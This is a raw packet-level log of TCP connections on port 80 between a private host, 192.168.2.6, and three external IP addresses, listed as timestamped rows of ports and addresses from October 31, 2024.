Oct 31, 2024 01:18:35.094944954 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.094949007 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.094959974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.094971895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.094974995 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.094984055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095000982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095005035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095032930 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095052958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095063925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095073938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095093012 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095103025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095114946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095118999 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095129013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095148087 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095151901 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095165014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095175028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095196009 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095201969 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095213890 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095215082 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095232010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095247030 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095254898 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095257044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095272064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095288038 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095316887 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095346928 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095357895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095366955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095388889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095391989 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095417023 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095433950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095439911 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095446110 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095457077 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095468998 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095479012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095488071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095498085 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095503092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095515013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095520020 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095525980 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095539093 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095549107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095551968 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095562935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095571041 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095602036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095613956 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095614910 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.095624924 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.095652103 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.096779108 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.096791029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.096801043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.096841097 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.096884966 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.096945047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.096987009 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.096998930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097023010 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097054005 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097078085 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097089052 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097100019 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097110987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097135067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097146988 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097155094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097168922 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097178936 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097182989 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097201109 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097201109 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097209930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097219944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097224951 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097232103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097244024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097259998 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097275019 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097280979 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097286940 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097316980 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097328901 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097332001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097341061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097353935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097357035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097366095 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097378016 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097393036 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097418070 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097419024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097441912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097455025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097456932 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097466946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097479105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097490072 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097516060 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097527981 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097538948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097548962 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097560883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097572088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097583055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097584963 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097603083 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097630024 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097664118 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097795010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097810030 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097821951 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097855091 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097944975 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097971916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097982883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.097984076 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.097995043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098018885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098018885 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.098026037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098031998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098037004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098048925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098066092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098077059 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098087072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098094940 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.098099947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098117113 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.098126888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098134995 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.098140001 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098150969 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098160982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098186016 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.098217010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098217010 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.098237991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.098273993 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.099345922 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.100042105 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171195984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171219110 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171232939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171258926 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171269894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171279907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171288967 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171292067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171350956 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171376944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171389103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171401024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171412945 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171417952 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171448946 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171612978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171627045 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171649933 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171659946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171670914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171684027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171694040 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171705008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171720982 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171729088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171739101 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171747923 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171758890 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171766996 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171770096 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171782017 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171786070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171809912 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171812057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171823025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171835899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171847105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171850920 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171859980 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.171878099 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.171895027 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.172018051 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172030926 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172044039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172054052 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172075033 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.172101974 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.172113895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172123909 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172133923 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172147036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172152996 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.172157049 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172179937 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.172226906 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172265053 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.172295094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172307014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172317982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172346115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.172355890 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172368050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172378063 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172394037 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.172401905 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172413111 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.172421932 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.172456026 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.173130035 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173142910 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173152924 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173188925 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.173274994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173285961 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173302889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173321962 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.173324108 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173336029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173340082 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.173341036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173366070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173377037 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.173383951 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173399925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173403025 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.173412085 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173424006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173433065 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.173434973 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173440933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173446894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173481941 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.173505068 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173516035 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:35.173540115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:35.317022085 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:05.139873981 CET	49991	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:05.144795895 CET	80	49991	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:05.144905090 CET	49991	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:05.145080090 CET	49991	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:05.150497913 CET	80	49991	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:06.063340902 CET	80	49991	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:06.063616037 CET	49991	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:07.606333017 CET	49991	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:07.606673956 CET	49992	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:07.611442089 CET	80	49992	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:07.611480951 CET	80	49991	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:07.611540079 CET	49992	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:07.611573935 CET	49991	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:07.617547035 CET	49992	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:07.622338057 CET	80	49992	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:08.546005011 CET	80	49992	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:08.546071053 CET	49992	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:08.574893951 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:08.579685926 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:08.579746008 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:08.579982042 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:08.584726095 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455302954 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455337048 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455351114 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455363989 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455377102 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455388069 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455401897 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455415964 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455430984 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455442905 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.455467939 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.455558062 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.460419893 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.460438967 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.460453987 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.460469007 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.460483074 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.460515022 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.596446037 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.596460104 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.596520901 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.596551895 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.596618891 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.596630096 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.596641064 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.596666098 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.596692085 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.596842051 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.596894979 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.596895933 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.596939087 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.597044945 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.597062111 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.597073078 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.597094059 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.597119093 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.597399950 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.597454071 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.597493887 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.597505093 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.597515106 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.597553015 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.597965956 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.597976923 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.597985983 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.598021030 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.598043919 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.598285913 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.598332882 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.598332882 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.598345041 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.598371029 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.598393917 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.598408937 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.598421097 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.598431110 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.598449945 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.598474026 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.599288940 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.599344969 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.601380110 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.601433992 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.601444006 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.601478100 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.601526022 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.601572037 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.601593971 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.601639986 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.737938881 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.737981081 CET	80	49993	41.216.183.61	192.168.2.6
